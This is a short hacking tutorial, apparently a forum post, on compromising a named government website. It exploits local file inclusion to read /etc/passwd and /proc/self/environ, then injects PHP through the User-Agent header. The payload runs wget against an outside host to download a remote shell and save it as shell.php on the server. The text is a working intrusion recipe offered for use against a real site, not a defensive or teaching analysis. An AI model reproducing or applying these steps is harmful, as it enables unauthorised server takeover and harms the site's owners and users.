Things you will need:

1) Site vulnerable to LFI ( http://www.bislig.gov.ph )

2) Remote shell ( http://www.sh3ll.org/egy.txt )

3) User-Agent switcher ( https://addons.mozilla.org/en-US/firefox/addon/user-agent-switcher/ )

4) Mozilla Firefox

First of all see if your site is vulnerable to LFI (I'm not going to explain how to find it or exploit it)

Try to open etc/passwd

Example:

Code:

http://www.bislig.gov.ph/content1.php?page=5&directLinks=../../../../../../../../../../../../../../etc/passwd

Ok fine...We can open etc/passwd

Now type proc/self/environ

Example:

Code:

http://www.bislig.gov.ph/content1.php?page=5&directLinks=../../../../../../../../../../../../../../proc/self/environ

Now download and install User-Agent switcher.

Go to Tools > Default User-Agent > Edit User Agents

You will get this window.

Now make new user-agent

Go to New > New User-Agent

Now leave everything as it is exept description and user-agent.

In description enter name of it (Mine is phpinfo)

In User-Agent paste this in there.

Code:

<?php phpinfo();?>

Select your User-Agent in Tools > Default User Agent > PHP Info (Or whatever you User Agent is called)

Go to your site and refresh it.

Now search for "disable_functions" (Ctrl+F Search function)

Mine is

Code:

disable_functions     | no value    | no value

That is good.We can spawn our shell now!

Now go back and edit your User-Agent.

Change "User-Agent" to:

Code:

<?exec('wget http://www.sh3ll.org/egy.txt -O shell.php');?>

(What this function do?. It downloads shell in .txt format and renames it as shell.php)

Save it and refresh your site.

Go to http://www.yourLFIsite.com/shell.php (Mine is http://www.bislig.gov.ph/shell.php )

Voila,we have our shell up.

Enjoy.
